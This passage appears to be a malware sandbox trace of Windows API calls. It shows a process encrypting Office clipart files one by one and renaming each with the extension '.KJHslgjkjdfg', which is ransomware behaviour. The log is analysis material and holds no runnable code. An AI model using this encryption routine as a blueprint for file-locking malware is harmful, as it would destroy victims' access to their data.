[0231.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.529] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.529] GetProcessHeap () returned 0x2ef0000 [0231.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.529] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.529] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.529] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.531] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.531] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.532] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.532] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.532] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.532] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.532] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16f40, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16f40, lpOverlapped=0x0) returned 1 [0231.534] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16f40, dwBufLen=0x16f40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16f40) returned 1 [0231.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.535] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16f40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16f40, lpOverlapped=0x0) returned 1 [0231.536] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.536] SetEndOfFile (hFile=0x130) returned 1 [0231.539] GetProcessHeap () returned 0x2ef0000 [0231.539] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.540] GetProcessHeap () returned 0x2ef0000 [0231.540] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.kjhslgjkjdfg")) returned 1 [0231.542] CloseHandle (hObject=0x130) returned 1 [0231.542] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1 [0231.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.543] GetProcessHeap () returned 0x2ef0000 [0231.543] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.544] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.544] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0231.546] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.546] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.546] GetProcessHeap () returned 0x2ef0000 [0231.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.546] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.546] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.546] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.546] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.546] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.546] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.547] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.547] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.547] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.547] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc382, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc382, lpOverlapped=0x0) returned 1 [0231.548] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc390, dwBufLen=0xc390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc390) returned 1 [0231.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.549] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc390, lpOverlapped=0x0) returned 1 [0231.549] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.549] SetEndOfFile (hFile=0x130) returned 1 [0231.552] GetProcessHeap () returned 0x2ef0000 [0231.552] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.552] GetProcessHeap () returned 0x2ef0000 [0231.552] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.kjhslgjkjdfg")) returned 1 [0231.554] CloseHandle (hObject=0x130) returned 1 [0231.554] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1 [0231.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.555] GetProcessHeap () returned 0x2ef0000 [0231.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.555] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.555] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.557] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.557] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.557] GetProcessHeap () returned 0x2ef0000 [0231.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.557] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.557] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.557] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.557] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.557] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.557] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.557] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.557] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.557] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.557] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c08, lpOverlapped=0x0) returned 1 [0231.558] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c10) returned 1 [0231.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.559] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c10, lpOverlapped=0x0) returned 1 [0231.559] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.559] SetEndOfFile (hFile=0x130) returned 1 [0231.560] GetProcessHeap () returned 0x2ef0000 [0231.560] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.560] GetProcessHeap () returned 0x2ef0000 [0231.560] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.kjhslgjkjdfg")) returned 1 [0231.562] CloseHandle (hObject=0x130) returned 1 [0231.562] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1 [0231.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.565] GetProcessHeap () returned 0x2ef0000 [0231.565] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.565] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.565] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.567] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.567] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.567] GetProcessHeap () returned 0x2ef0000 [0231.567] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.567] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.568] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.568] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.568] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.568] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.568] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.568] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.568] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.568] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.568] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a6b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a6b8, lpOverlapped=0x0) returned 1 [0231.571] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a6c0, dwBufLen=0x1a6c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a6c0) returned 1 [0231.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.572] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a6c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a6c0, lpOverlapped=0x0) returned 1 [0231.573] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.573] SetEndOfFile (hFile=0x130) returned 1 [0231.576] GetProcessHeap () returned 0x2ef0000 [0231.576] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.576] GetProcessHeap () returned 0x2ef0000 [0231.576] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.577] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.kjhslgjkjdfg")) returned 1 [0231.578] CloseHandle (hObject=0x130) returned 1 [0231.579] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1 [0231.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.580] GetProcessHeap () returned 0x2ef0000 [0231.580] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.580] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.580] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.583] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.583] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.583] GetProcessHeap () returned 0x2ef0000 [0231.583] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.583] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.583] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.583] WriteFile (in: hFile=0x130, 